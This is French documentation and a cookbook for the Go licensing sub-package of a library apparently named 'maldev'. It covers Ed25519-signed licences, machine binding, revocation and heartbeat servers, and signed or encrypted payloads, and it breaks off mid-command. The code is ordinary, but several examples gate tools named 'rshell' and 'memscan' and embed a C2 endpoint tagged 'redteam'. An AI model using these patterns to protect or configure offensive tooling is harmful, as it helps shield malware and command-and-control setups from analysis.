Le pattern recommandé pour les binaires distribués : commit issuer.pub à côté du main.go, embarque-le à la compilation, parse-le au démarrage. Aucun fichier externe à packager.
package main
import (
_ "embed"
"log"
"github.com/oioio-space/maldev/license"
)
//go:embed issuer.pub
var issuerPub []byte
func main() {
pub, kid, err := license.ParsePublicKey(issuerPub) // []byte → ed25519.PublicKey + KID
if err != nil {
log.Fatalf("clé publique corrompue : %v", err)
}
trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}
if _, err := license.VerifyFile("user.license", trusted); err != nil {
log.Fatal("ACCESS DENIED")
}
}
Toutes les fonctions de chargement existent en deux variantes : file-based (LoadPublicKey, LoadPrivateKey, LoadLicense, VerifyFile) qui prennent un chemin, et bytes-based (ParsePublicKey, ParsePrivateKey, Verify) qui prennent un []byte directement utilisable avec //go:embed.
Trois rôles, deux clés
flowchart LR
A["Toi<br/>(émetteur)"] -- "signe avec<br/>clé privée" --> L["licence.pem"]
L --> U["Utilisateur"]
U --> B["Binaire<br/>(consommateur)"]
A -. "distribue<br/>clé publique" .-> B
B -- "vérifie avec<br/>clé publique" --> R["accepte / refuse"]
- L'émetteur détient la clé privée. Il signe les licences.
- L'utilisateur reçoit une licence (un fichier). Il ne signe rien.
- Le binaire consommateur embarque la clé publique et vérifie les licences présentées.
La clé privée est le seul secret du système. Tant qu'elle reste privée, personne ne peut émettre de licence valide en ton nom. La clé publique est, comme son nom l'indique, publique : elle se distribue avec le binaire.
Local() vs Composite() pour le machine binding
Le sous-package license/hostid expose deux fingerprints :
| Fonction | Sources mixées | Stable à travers… | Sensible à… |
|---|---|---|---|
Local() | identifiant canonique de l'OS uniquement (MachineGuid / /etc/machine-id / IOPlatformUUID) | reboots, mises à jour applicatives, ajout/retrait d'interfaces réseau | réinstallation d'OS, machine entièrement neuve |
Composite() | Local() + CPU brand string + MAC du premier réseau physique (DMI product UUID en bonus sur Linux) | reboots, mises à jour applicatives | changement de CPU, échange de carte mère, swap de NIC, déplacement vers une VM différente |
Quand utiliser quoi :
Local()quand tu veux dire "même installation, même utilisateur". Plus permissif aux changements hardware légitimes (NIC remplacée, ajout de RAM). Une réinstallation d'OS le change.Composite()quand tu veux dire "même machine physique". Plus résistant au spoofing de/etc/machine-idou d'une seule source — un attaquant doit aligner CPU brand + MAC + machine-id pour faire passer une autre machine. Plus sensible aux changements hardware.
// Permissif :
me, _ := hostid.Local()
// Strict :
me, _ := hostid.Composite()
Les deux retournent 32 octets ; passe l'un à WithMachineID(me) au verify. Évidemment, émets la licence avec la même variante que celle que tu vérifies.
Vocabulaire
| Terme | Définition |
|---|---|
| Issuer | Toi. La signature t'identifie. Tu peux aussi mettre ton nom dans le champ Issuer de la licence (texte libre, signé). |
| Subject | Le destinataire de la licence. Texte libre (email, agent, hostname…). Sert d'identifiant humain et figure dans les logs. |
KeyID (kid) | Le nom court de la clé qui a signé (ex. "k2026-05"). Permet de tourner les clés sans casser les licences existantes : plusieurs kid peuvent coexister côté consommateur. |
Audience (aud) | Liste des binaires pour lesquels la licence est valable. Si vide, la licence est valable partout (avec warning). |
| Binding | Une contrainte spécifique : machine, mot de passe, paire clé/valeur custom. Lors de la vérification, l'appelant fournit l'« évidence » qui doit matcher le binding. |
| Pinning | Lier la licence à un binaire précis, soit par hash du fichier (BinarySHA256), soit par identité embarquée (IdentitySHA256). Empêche la réutilisation avec un binaire modifié. |
| Revocation | Annulation après émission. Le serveur publie une liste signée d'IDs révoqués ; le binaire la consulte avant d'autoriser. |
| Heartbeat | Ping périodique vers un serveur qui répond signé si la licence est toujours active. Tolérance offline configurable via grace period. |
| State file | Fichier local HMAC qui mémorise le plus récent time.Now() et le plus récent server_time observés. Détecte le rollback d'horloge. |
Le cycle de vie
sequenceDiagram
autonumber
participant You as "Émetteur"
participant Bin as "Binaire"
participant Srv as "Serveur révocation (optionnel)"
You->>You: GenerateAndSave(dir, kid)
Note over You: une fois par rotation
You->>Bin: distribue issuer.pub
Note over Bin: au moment du build
You->>You: Issue(IssueOptions{...})
You->>Bin: distribue licence.pem
Note over Bin: au moment de l'onboarding
Bin->>Bin: Verify(licence, pub)
Bin->>Srv: (optionnel) fetch revocation list
Srv-->>Bin: signed list
Bin-->>You: autorisé / ErrLicenseInvalid
Le mode hors-ligne pur (les deux premières étapes seulement, sans serveur) couvre la majorité des cas : le binaire vérifie offline, et la licence expire d'elle-même au NotAfter.
Le mode en-ligne s'ajoute si tu veux pouvoir révoquer une licence avant son expiration (fuite, fin de contrat) ou imposer un check serveur récurrent.
Pourquoi pas un simple mot de passe ?
| Mot de passe partagé | Licence signée | |
|---|---|---|
| Identifier qui utilise quoi | non | oui (Subject par licence) |
| Expiration automatique | non | oui (NotAfter) |
| Révocation ciblée | non (tu change le mot de passe pour tous) | oui (par ID de licence) |
| Lier à une machine | non | oui (binding machine) |
| Scope par binaire | non | oui (Audience) |
| Données métier attachées et signées | non | oui (Payload typé) |
| Résiste à la modification du token | non | oui (signature Ed25519) |
Garanties
Le package garantit, sous l'hypothèse que la clé privée reste confidentielle :
- Authenticité : seule la clé privée peut produire une licence acceptée. Une licence forgée échoue à
Verify. - Intégrité : toute modification post-signature (même d'un seul bit) est détectée.
- Non-réutilisation cross-audience : une licence émise pour
aud=["rshell"]ne validera pas unWithAudience("memscan"). - Non-réutilisation cross-binaire : si tu actives
WithBinaryPinning(), une licence émise pour le binaire A ne validera pas le binaire B. - Anti-replay de revocation list ancienne : la liste est signée, expirable, et porte un numéro de séquence monotone.
- Anti-brute-force des bindings password : argon2id avec paramètres tuned (~100 ms par tentative).
- Anti-rollback d'horloge sous le plancher signé : si le state file est activé et a déjà observé un
server_time, untime.Now()antérieur est rejeté.
Limitations honnêtes
- Le binaire peut être patché. Un attaquant qui modifie
Verifypourreturn nilcontourne tout. Ce scénario relève du hardening binaire (packer, code-signing OS) — hors scope de ce package. - Une licence partagée volontairement reste utilisable. Si Alice donne sa licence et son mot de passe à Bob, Bob s'en sert. Le binding
machinemitige partiellement. - L'usage offline indéfini est limité par
GracePeriodau-delà duquel le binaire refuse. Sans heartbeat ni revocation, l'expiration repose uniquement surNotAfter. - Le
Payloadnon scellé est lisible par quiconque détient la licence. Pour du contenu confidentiel, utiliseSealedPayload(chiffré pour un destinataire X25519 précis). hostid.Local()est falsifiable par un attaquant qui contrôle entièrement la machine.
Anatomie de Verify
Verify exécute les vérifications dans l'ordre suivant. La première qui échoue retourne ErrLicenseInvalid (cause précise loguée mais absente du message d'erreur).
- Format PEM + taille (< 16 KiB).
- Résolution du
KeyIDdansTrusted.Keys. - Signature Ed25519 sur
domain_tag || canonical(License). - Lecture du state file (HMAC vérifié). Si
time.Now() < trusted_floor→ refus. NotBefore≤ now + skew ≤NotAfter.WithAudience∈License.AudienceetWithIssuer=License.Issuer.- Tous les
Bindingsmatchent les évidences fournies. - Si
WithBinaryPinning():BinarySHA256et/ouIdentitySHA256matchent. - Si
WithRevocation: la licence n'est pas révoquée et la liste est fraîche. - Si
WithHeartbeat: le serveur confirmeok: true(skip si une réponse OK a moins deinterval). - Si
WithNTPCheck: la dérive d'horloge est tolérable. - Écriture atomique du state file mis à jour.
Tout est ordonné cheap → expensive : les checks crypto sont avant les checks réseau.
Première lecture recommandée
| Si tu veux… | Va à |
|---|---|
| Émettre et vérifier ta première licence | Cookbook Recette 1 |
| Comprendre tous les champs du JSON | Référence des champs |
| Distribuer un binaire avec licence à plusieurs personnes | Recette 2 et Recette 11 |
| Limiter une licence dans le temps + à une machine | Recette 3 |
| Embarquer des données applicatives signées | Recette 7-bis |
| Mettre en place la révocation | Recette 5 |
| Comprendre les menaces couvertes et celles qui ne le sont pas | Threat model |
| Trouver une réponse rapide à un cas concret | FAQ |
Voir aussi
License — Cookbook
Copy-paste programmes complets. Chaque recette compile telle quelle après
go get github.com/oioio-space/maldev@latest.
Nouveau dans ce domaine ? Lis d'abord concepts.md — explique le vocabulaire et le cycle de vie sans jargon crypto. Pour les questions ponctuelles, va voir la FAQ.
Recettes "essentielles" :
- Recette 1 — Hello license en 15 lignes
- Recette 2 — Émettre depuis un CLI, vérifier depuis un binaire
- Recette 3 — Binding multi-machines + mot de passe
Recettes "production" :
- Recette 4 — Pinning d'identité qui survit au
cmd/packer - Recette 5 — Serveur de révocation HTTP minimal
- Recette 6 — Verify complet avec révocation + heartbeat + state file
- Recette 7 — Rotation de clé sans casser les licences existantes
- Recette 7-bis — Payload applicatif typé
- Recette 8 — Payload chiffré dans une licence (sealed payload)
Recettes "scénarios métier" :
- Recette 9 — Période d'essai gratuite limitée à 14 jours
- Recette 10 — Niveaux de licence (basic / pro / enterprise) avec
Features - Recette 11 — Distribuer 50 licences en batch à partir d'un CSV
- Recette 12 — Inspecter une licence sans l'accepter (diagnostic)
- Recette 13 — Tests unitaires : générer des licences à la volée
- Recette 14 — Plusieurs binaires partageant la même paire de clés
- Recette 15 — Logger les causes d'échec pour le support
- Recette 16 — Embarquer la clé publique avec
//go:embed - Recette 17 — Générer un
MALDEV_ADMIN_TOKEN - Recette 18 — TOTP comme second facteur, QR code PNG ou ASCII
Recette 1
Génère une paire de clés, signe une licence, vérifie-la. Tout en RAM, zéro fichier.
package main
import (
"fmt"
"log"
"time"
"github.com/oioio-space/maldev/license"
)
func main() {
pub, priv, err := license.GenerateKey()
if err != nil {
log.Fatal(err)
}
// Émission "one-liner" (KeyID = "default", aucune contrainte hors NotAfter).
data, err := license.New(priv, "alice@example.com", 24*time.Hour)
if err != nil {
log.Fatal(err)
}
// Vérification.
v, err := license.Verify(data, license.Trusted{Keys: license.SingleKey("default", pub)})
if err != nil {
log.Fatal(err)
}
fmt.Printf("OK — délivrée à %s, expire %s\n", v.Subject, v.NotAfter)
}
license.New(priv, subject, ttl)est le raccourci minimal. Pour ajouter Issuer, Audience, Bindings, Payload, etc., passe àlicense.Issue— Recette 2.
Recette 2
Émission CLI, vérification binaire, fichiers PEM sur disque.
a. Côté émetteur
package main
import (
"log"
"os"
"time"
"github.com/oioio-space/maldev/license"
)
func main() {
dir, _ := os.UserHomeDir()
dir += "/.maldev-issuer"
_ = os.MkdirAll(dir, 0o700)
// GenerateAndSave : génère + écrit issuer.key (0600) + issuer.pub (KID embarqué).
_, priv, err := license.GenerateAndSave(dir, "k2026-05")
if err != nil {
log.Fatal(err)
}
data, err := license.Issue(license.IssueOptions{
PrivateKey: priv,
KeyID: "k2026-05",
Subject: "alice@example.com",
Issuer: "lab-eu",
Audience: []string{"rshell"},
NotAfter: time.Now().Add(90 * 24 * time.Hour),
})
if err != nil {
log.Fatal(err)
}
if err := license.SaveLicense("./alice.license", data); err != nil {
log.Fatal(err)
}
log.Print("Licence écrite : ./alice.license")
log.Print("Distribue ./alice.license et ~/.maldev-issuer/issuer.pub")
}
b. Côté binaire consommateur
package main
import (
"log"
"github.com/oioio-space/maldev/license"
)
func main() {
pub, kid, err := license.LoadPublicKey("./issuer.pub")
if err != nil {
log.Fatal(err)
}
v, err := license.VerifyFile("./alice.license",
license.Trusted{Keys: license.SingleKey(kid, pub)},
license.WithAudience("rshell"),
license.WithIssuer("lab-eu"),
)
if err != nil {
log.Fatalf("ACCESS DENIED: %v", err)
}
log.Printf("Autorisé — Subject=%s, KeyUsed=%s", v.Subject, v.KeyUsed)
}
Recette 3
Limiter à un set de machines + exiger un mot de passe.
Émission
import "github.com/oioio-space/maldev/license/hostid"
// Obtient le fingerprint de la machine cible (depuis cette machine).
machineA, _ := hostid.Local()
pwBinding, err := license.BindPassword("hunter2")
if err != nil {
log.Fatal(err)
}
data, err := license.Issue(license.IssueOptions{
PrivateKey: priv,
KeyID: "k2026-05",
Subject: "alice@example.com",
NotAfter: time.Now().Add(30 * 24 * time.Hour),
Bindings: []license.Binding{
license.BindMachineIDs(string(machineA)),
pwBinding,
},
})
Vérification
me, _ := hostid.Local()
v, err := license.Verify(data, trusted,
license.WithMachineID(me),
license.WithPassword("hunter2"),
)
Si me ∉ liste OU password ≠ argon2id stocké → ErrLicenseInvalid (cause
précise loguée mais absente du message — pour ne pas guider un attaquant).
Recette 4
Identité embarquée — résiste au packer.
a. Générer l'identité (une fois par série de builds)
go run github.com/oioio-space/maldev/license/identity/cmd/gen-identity \
-out cmd/rshell/identity.bin
Idempotent. Commit identity.bin pour que toute l'équipe partage la même
identité par binaire.
b. Embarquer dans le binaire
package main
import (
_ "embed"
"log"
"github.com/oioio-space/maldev/license"
"github.com/oioio-space/maldev/license/identity"
)
//go:embed identity.bin
var identityBytes []byte
func main() {
identity.Set(identityBytes)
pub, kid, _ := license.LoadPublicKey("issuer.pub")
if _, err := license.VerifyFile("rshell.license",
license.Trusted{Keys: license.SingleKey(kid, pub)},
license.WithBinaryPinning(),
); err != nil {
log.Fatal(err)
}
}
c. Émettre pour cette identité
identityBytes, _ := os.ReadFile("cmd/rshell/identity.bin")
data, _ := license.Issue(license.IssueOptions{
PrivateKey: priv,
KeyID: "k2026-05",
Subject: "alice",
IdentitySHA256: license.HashIdentity(identityBytes),
NotAfter: time.Now().Add(180 * 24 * time.Hour),
})
La licence reste valide à travers cmd/packer pack, re-packing, strip,
signature Authenticode — tant que identity.bin reste embarqué.
Recette 5
Serveur HTTP minimal — revocation list signée + heartbeat. ~30 lignes.
package main
import (
"log"
"net/http"
"os"
"time"
"github.com/oioio-space/maldev/license"
"github.com/oioio-space/maldev/license/server"
)
func main() {
priv, err := license.LoadPrivateKey("/etc/maldev/issuer.key")
if err != nil {
log.Fatal(err)
}
mux := http.NewServeMux()
mux.Handle("/revoked.pem", server.NewRevocationHandler(server.RevocationOptions{
PrivateKey: priv,
KeyID: "k2026-05",
Store: server.FileStore("/var/lib/maldev/revoked.json"),
ValidFor: 7 * 24 * time.Hour,
AdminToken: os.Getenv("MALDEV_ADMIN_TOKEN"),
}))
mux.Handle("/heartbeat", server.NewHeartbeatHandler(server.HeartbeatOptions{
PrivateKey: priv,
KeyID: "k2026-05",
Store: server.StaticLicenseStore{}, // remplace par ta propre LicenseStore (DB, fichier…)
ValidFor: time.Hour,
}))
log.Fatal(http.ListenAndServeTLS(":8443", "cert.pem", "key.pem", mux))
}
Révoquer / annuler une révocation (admin)
# Révoquer
curl -X POST https://lic.example.com/revoked.pem \
-H "Authorization: Bearer $MALDEV_ADMIN_TOKEN" \
-d '{"add":["<license-id>"]}'
# Annuler
curl -X POST https://lic.example.com/revoked.pem \
-H "Authorization: Bearer $MALDEV_ADMIN_TOKEN" \
-d '{"remove":["<license-id>"]}'
Recette 6
Verify "production" — pinning + révocation + heartbeat + state file + NTP soft + grace period offline.
package main
import (
"context"
"log"
"os"
"time"
"github.com/oioio-space/maldev/license"
"github.com/oioio-space/maldev/license/heartbeat"
"github.com/oioio-space/maldev/license/hostid"
"github.com/oioio-space/maldev/license/revoke"
)
func main() {
pub, kid, _ := license.LoadPublicKey("issuer.pub")
state := os.Getenv("HOME") + "/.maldev/license-state"
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
v, err := license.VerifyFile("rshell.license",
license.Trusted{Keys: license.SingleKey(kid, pub)},
// Scope.
license.WithAudience("rshell"),
license.WithIssuer("lab-eu"),
license.WithMachineID(must(hostid.Local())),
// Pinning binaire/identité.
license.WithBinaryPinning(),
// Révocation hybride : HTTP en priorité, fallback fichier, cache local.
license.WithRevocation(
revoke.MultiSource(
revoke.HTTPSource("https://lic.example.com/revoked.pem", nil),
revoke.FileSource("/etc/maldev/revoked.pem.cached"),
),
24*time.Hour,
state+".revoke",
),
license.WithGracePeriod(7*24*time.Hour),
// Heartbeat : ping rate-limité à 1/h.
license.WithHeartbeat(
heartbeat.HTTPClient("https://lic.example.com/heartbeat", nil),
time.Hour,
),
// Anti-tamper d'horloge.
license.WithStateFile(state),
license.WithStateHostID(hostid.Local),
license.WithMaxClockSkew(5*time.Minute),
// NTP en soft warning (ne refuse pas).
license.WithNTPCheck("pool.ntp.org:123", 10*time.Minute),
// Timeout global réseau.
license.WithContext(ctx),
)
if err != nil {
log.Fatalf("license check failed: %v", err)
}
for _, w := range v.Warnings {
log.Printf("[warn] %s", w)
}
log.Printf("autorisé — %s (key %s)", v.Subject, v.KeyUsed)
}
func must[T any](v T, err error) T {
if err != nil {
log.Fatal(err)
}
return v
}
Recette 7
Rotation de clé sans casser les licences existantes.
oldPub, _, _ := license.LoadPublicKey("/etc/maldev/issuer-2026-05.pub")
newPub, _, _ := license.LoadPublicKey("/etc/maldev/issuer-2026-11.pub")
trusted := license.Trusted{
Keys: map[string]ed25519.PublicKey{
"k2026-05": oldPub, // gardée jusqu'à expiry des dernières licences
"k2026-11": newPub, // active maintenant
},
}
_, err := license.VerifyFile("./client.license", trusted, /* options */)
Workflow recommandé :
- Génère et déploie la nouvelle clé :
license.GenerateAndSave("/etc/maldev/issuer-2026-11/", "k2026-11") - Push la nouvelle
issuer-2026-11.pubà tous les binaires via release. - Émets les nouvelles licences avec
KeyID: "k2026-11". - Attends que toutes les licences
k2026-05aient expiré (max(NotAfter)). - Retire
k2026-05deTrusted.Keysdans les binaires à la release suivante. - Détruis
issuer-2026-05.key(HSM/disque).
Recette 7-bis — Payload applicatif typé
Embarquer un struct Go arbitraire dans la licence et le récupérer typé après vérification.
Le champ License.Payload est du JSON arbitraire signé en clair. Tu fournis n'importe quel objet sérialisable, et tu le récupères au choix avec (*Verified).Decode(&target) (style stdlib) ou PayloadAs[T](v) (générique).
Émission
type Config struct {
Endpoint string `json:"endpoint"`
Tier int `json:"tier"`
Tags []string `json:"tags,omitempty"`
}
cfg := Config{Endpoint: "https://c2.example.com", Tier: 3, Tags: []string{"redteam"}}
raw, err := license.MarshalPayload(cfg)
if err != nil {
log.Fatal(err)
}
data, _ := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1", Subject: "alice",
NotAfter: time.Now().Add(24 * time.Hour),
Payload: raw,
})
Vérification — style stdlib
v, err := license.Verify(data, trusted)
if err != nil {
log.Fatal(err)
}
var cfg Config
if err := v.Decode(&cfg); err != nil {
if errors.Is(err, license.ErrNoPayload) {
log.Print("licence sans payload — j'utilise la config par défaut")
} else {
log.Fatalf("payload corrompu: %v", err)
}
}
fmt.Println(cfg.Endpoint)
Vérification — style générique
v, _ := license.Verify(data, trusted)
cfg, err := license.PayloadAs[Config](v)
if err != nil {
log.Fatal(err)
}
fmt.Println(cfg.Endpoint) // *Config typé, prêt à l'emploi
Le payload peut être n'importe quel type marshalable JSON : struct, map[string]any, []string, primitives. Le contenu est signé par l'émetteur — toute altération entre émission et vérification fait échouer Verify avec ErrLicenseInvalid.
Différence avec
SealedPayload:Payloadest signé en clair (lisible par n'importe qui qui détient la licence).SealedPayloadest chiffré pour un destinataire spécifique (Recette 8) — utile pour des secrets sensibles.
Recette 8
Payload chiffré pour un destinataire — sealed payload.
import "github.com/oioio-space/maldev/license/seal"
// 1. Le destinataire publie sa clé publique X25519.
recipientPub, recipientPriv, _ := seal.GenerateRecipient()
// 2. L'émetteur scelle un payload pour ce destinataire.
secretConfig := []byte(`{"endpoint":"https://c2.example.com","token":"xxx"}`)
sealed, _ := seal.Seal(recipientPub, secretConfig)
// 3. La licence transporte le scellé. Signée publiquement par l'issuer,
// mais le contenu n'est lisible que par recipientPriv.
data, _ := license.Issue(license.IssueOptions{
PrivateKey: priv,
KeyID: "k1",
Subject: "alice",
NotAfter: time.Now().Add(24 * time.Hour),
SealedPayload: sealed,
})
// 4. Côté binaire : déchiffre après Verify.
v, err := license.Verify(data, trusted)
if err != nil { /* ... */ }
config, err := seal.Open(recipientPriv, v.SealedPayload)
if err != nil { /* clé X25519 incorrecte */ }
fmt.Println("config:", string(config))
Sous le capot : X25519 ECDH → HKDF-SHA256 → XChaCha20-Poly1305 AEAD avec l'ephemeral public key comme AAD.
Recette 9
Période d'essai gratuite de 14 jours, une par utilisateur.
L'idée : émettre une licence à durée fixe avec un payload qui marque le début de l'essai. Le binaire lit le payload et adapte ses fonctionnalités (ou refuse certaines actions) en fonction.
type Trial struct {
StartedAt time.Time `json:"started_at"`
Plan string `json:"plan"`
}
raw, _ := license.MarshalPayload(Trial{StartedAt: time.Now(), Plan: "trial-14d"})
data, _ := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1",
Subject: "tester@example.com",
NotAfter: time.Now().Add(14 * 24 * time.Hour),
Payload: raw,
})
license.SaveLicense(fmt.Sprintf("./trials/%s.license", "tester@example.com"), data)
Côté binaire :
v, err := license.Verify(data, trusted)
if err != nil {
if isExpiredCause(err) { // log analysis
fmt.Println("Votre période d'essai est terminée.")
}
os.Exit(1)
}
trial, _ := license.PayloadAs[Trial](v)
fmt.Printf("Essai démarré le %s — plan %s\n", trial.StartedAt.Format("2006-01-02"), trial.Plan)
Recette 10
Niveaux de licence (basic / pro / enterprise) avec Features first-class.
Le champ License.Features est signé au niveau racine — lisible par
Verified.HasFeature(name) sans désérialisation. Pour les paramètres
qui ne sont pas des booléens (quotas, identifiants), Payload reste
disponible.
data, _ := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1", Subject: "client",
NotAfter: time.Now().Add(365 * 24 * time.Hour),
Features: []string{"export", "api", "advanced-recon"},
})
Côté binaire :
v, err := license.Verify(data, trusted)
if err != nil {
log.Fatal(err)
}
if !v.HasFeature("export") {
return errors.New("export non disponible dans votre licence — passez à un plan supérieur")
}
Pour combiner avec des quotas :
type Quota struct {
MaxParallel int `json:"max_parallel"`
}
raw, _ := license.MarshalPayload(Quota{MaxParallel: 8})
data, _ := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1", Subject: "client",
NotAfter: time.Now().Add(365 * 24 * time.Hour),
Features: []string{"export", "api"}, // booléens : HasFeature
Payload: raw, // chiffres et autres : PayloadAs[T]
})
Features et Payload sont tous deux signés : impossible pour
l'utilisateur de modifier son plan sans casser la signature.
Recette 11
Distribuer 50 licences en batch à partir d'un CSV.
package main
import (
"encoding/csv"
"log"
"os"
"path/filepath"
"strings"
"time"
"github.com/oioio-space/maldev/license"
)
func main() {
priv, _ := license.LoadPrivateKey("/etc/maldev/issuer.key")
f, _ := os.Open("subscribers.csv")
defer f.Close()
rows, _ := csv.NewReader(f).ReadAll()
_ = os.MkdirAll("./out", 0o755)
for _, row := range rows[1:] { // skip header
email, plan := row[0], row[1]
ttl := 365 * 24 * time.Hour
if plan == "trial" {
ttl = 14 * 24 * time.Hour
}
data, err := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1",
Subject: email,
NotAfter: time.Now().Add(ttl),
Audience: []string{"rshell"},
})
if err != nil {
log.Printf("[skip] %s: %v", email, err)
continue
}
// Slug-safe filename à partir de l'email.
slug := strings.ReplaceAll(email, "@", "_at_")
out := filepath.Join("out", slug+".license")
if err := license.SaveLicense(out, data); err != nil {
log.Printf("[skip] %s: %v", email, err)
continue
}
log.Printf("[ok] %s → %s", email, out)
}
}
Format attendu de subscribers.csv :
email,plan
alice@example.com,pro
bob@example.com,trial
Recette 12
Inspecter une licence sans la valider — pour le diagnostic.
data, _ := os.ReadFile("./alice.license")
lic, err := license.Inspect(data)
if err != nil {
log.Fatal(err)
}
fmt.Printf("Subject: %s\n", lic.Subject)
fmt.Printf("Issuer: %s\n", lic.Issuer)
fmt.Printf("KeyID: %s\n", lic.KeyID)
fmt.Printf("NotAfter: %s\n", lic.NotAfter.Format(time.RFC3339))
fmt.Printf("Audience: %v\n", lic.Audience)
fmt.Printf("Bindings: %d\n", len(lic.Bindings))
for _, b := range lic.Bindings {
fmt.Printf(" - type=%s, values=%v\n", b.Type, b.Value)
}
Inspect lit le contenu sans vérifier la signature. À utiliser uniquement pour le diagnostic — jamais pour autoriser une action.
Recette 13
Tests unitaires : générer des licences à la volée dans un testing.T.
func TestMyTool_RefusesExpiredLicense(t *testing.T) {
pub, priv, _ := license.GenerateKey()
expired, _ := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1", Subject: "test",
NotAfter: time.Now().Add(-time.Hour), // expirée
})
myTool := NewTool(WithTrusted(license.Trusted{Keys: license.SingleKey("k1", pub)}))
if err := myTool.Run(expired); err == nil {
t.Fatal("expected refusal on expired license")
}
}
func TestMyTool_AcceptsValidLicense(t *testing.T) {
pub, priv, _ := license.GenerateKey()
valid, _ := license.New(priv, "test", time.Hour)
myTool := NewTool(WithTrusted(license.Trusted{Keys: license.SingleKey("k1", pub)}))
if err := myTool.Run(valid); err != nil {
t.Fatalf("expected accept, got %v", err)
}
}
Pour injecter une horloge déterministe :
clk := &license.FakeClock{T: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)}
license.Verify(data, trusted, license.WithClock(clk))
Recette 14
Plusieurs binaires partageant la même paire de clés, scopés par Audience.
Émission
priv, _ := license.LoadPrivateKey("./issuer.key")
// Une seule licence pour Alice, vaut pour rshell + memscan :
licMulti, _ := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1",
Subject: "alice",
Audience: []string{"rshell", "memscan-server"},
NotAfter: time.Now().Add(90 * 24 * time.Hour),
})
// Une licence séparée pour Bob, uniquement memscan :
licMemOnly, _ := license.Issue(license.IssueOptions{
PrivateKey: priv, KeyID: "k1",
Subject: "bob",
Audience: []string{"memscan-server"},
NotAfter: time.Now().Add(90 * 24 * time.Hour),
})
Côté chaque binaire
// cmd/rshell/main.go
license.Verify(data, trusted, license.WithAudience("rshell"))
// cmd/memscan/main.go
license.Verify(data, trusted, license.WithAudience("memscan-server"))
La licence de Bob (Audience=memscan-server) est refusée par rshell avec causeAudienceMismatch. La licence d'Alice fonctionne pour les deux.
Recette 15
Logger les causes d'échec en production pour le support.
import (
"log/slog"
"os"
)
func main() {
// Logueur JSON structuré → pipe vers Loki/ELK/etc.
logger := slog.New(slog.NewJSONHandler(os.Stderr, &slog.HandlerOptions{
Level: slog.LevelInfo,
}))
pub, kid, _ := license.LoadPublicKey("issuer.pub")
v, err := license.VerifyFile("./user.license",
license.Trusted{Keys: license.SingleKey(kid, pub)},
license.WithLogger(logger),
)
if err != nil {
// Le logueur a déjà émis un WARN avec la cause précise.
// Le message rendu à l'utilisateur reste opaque.
fmt.Fprintln(os.Stderr, "Cette licence n'est pas valide. Contactez le support avec votre ID.")
os.Exit(1)
}
logger.Info("license accepted",
"subject", v.Subject,
"key_used", v.KeyUsed,
"warnings", v.Warnings,
)
}
Exemple de sortie sur un échec :
{"time":"2026-05-20T10:00:00Z","level":"WARN","msg":"license verify failed","cause":"binding-machine-mismatch"}
À pipe vers ton stack d'observabilité. Alertes utiles : clock-rollback ou binding-password-mismatch répétés sur un même subject (indice de brute-force ou tampering).
Recette 16
Embarquer la clé publique dans le binaire — pas de fichier externe à packager.
Le pattern : tu commit issuer.pub à côté du main.go du binaire consommateur. La directive //go:embed injecte son contenu dans une variable []byte au moment du go build. Tu parses ensuite ces bytes avec ParsePublicKey([]byte) — qui est la variante bytes-in de LoadPublicKey(path).
package main
import (
_ "embed"
"log"
"github.com/oioio-space/maldev/license"
)
//go:embed issuer.pub
var issuerPub []byte
func main() {
pub, kid, err := license.ParsePublicKey(issuerPub)
if err != nil {
log.Fatalf("issuer.pub corrompue ou absente : %v", err)
}
if _, err := license.VerifyFile("./user.license",
license.Trusted{Keys: license.SingleKey(kid, pub)}); err != nil {
log.Fatal("ACCESS DENIED")
}
}
Variante : embarquer plusieurs clés (pour la rotation, ou pour accepter des licences de plusieurs émetteurs).
//go:embed issuer-2026-05.pub issuer-2026-11.pub
var pubFiles embed.FS
func loadTrusted() license.Trusted {
keys := map[string]ed25519.PublicKey{}
entries, _ := pubFiles.ReadDir(".")
for _, e := range entries {
data, _ := pubFiles.ReadFile(e.Name())
pub, kid, err := license.ParsePublicKey(data)
if err != nil {
log.Printf("[skip] %s: %v", e.Name(), err)
continue
}
keys[kid] = pub
}
return license.Trusted{Keys: keys}
}
Rappel : la clé publique se distribue sans risque (commit, embed, README). La clé privée ne quitte jamais le poste de l'émetteur. Voir concepts.md.
Recette 17
Générer un MALDEV_ADMIN_TOKEN.
Ce token est un secret partagé entre toi et ton serveur de révocation (Recette 5). Il authentifie les requêtes POST /revoked.pem qui ajoutent ou retirent des IDs. Sans token côté serveur, le endpoint POST est désactivé (read-only).
Caractéristiques attendues
- Entropie ≥ 128 bits (~22 caractères base64 url-safe, ou 32 hex)
- Stocké côté serveur en clair via variable d'environnement, ou dans un secrets manager (Vault, AWS Secrets Manager, sealed-secrets…)
- Jamais committé, jamais loggué
- Rotation périodique recommandée (annuelle, ou immédiate si compromission soupçonnée)
Génération en une commande
# Linux / macOS / Git Bash :
openssl rand -base64 32
# PowerShell :
[Convert]::ToBase64String((1..32 | ForEach-Object { Get-Random -Max 256 } | ForEach-Object { [byte]$_ }))
# Avec Python :
python3 -c "import secrets; print(secrets.token_urlsafe(32))"
# Avec Go (le plus simple si tu veux scripter) :
go run -exec=- - <<'EOF'
package main
import ("crypto/rand"; "encoding/base64"; "fmt")
func main() { b := make([]byte, 32); rand.Read(b); fmt.Println(base64.URLEncoding.EncodeToString(b)) }
EOF
Résultat : une chaîne du genre cVnGEjRSdM2GR1Mxz5lFt-fOpkqsr8YgVRJP7H2ID5g.
Mise en place côté serveur
# Stockage local (acceptable en dev) :
export MALDEV_ADMIN_TOKEN="cVnGEjRSdM2GR1Mxz5lFt-fOpkqsr8YgVRJP7H2ID5g"
./mon-serveur-revocation
# systemd unit :
[Service]
Environment="MALDEV_ADMIN_TOKEN=…"
ExecStart=/usr/local/bin/mon-serveur-revocation
# Docker / Kubernetes : via secret monté en env var, pas dans l'image.
Utilisation pour révoquer / annuler une révocation
TOKEN="cVnGEjRSdM2GR1Mxz5lFt-fOpkqsr8YgVRJP7H2ID5g"
# Révoquer une licence :
curl -X POST https://lic.example.com/revoked.pem \
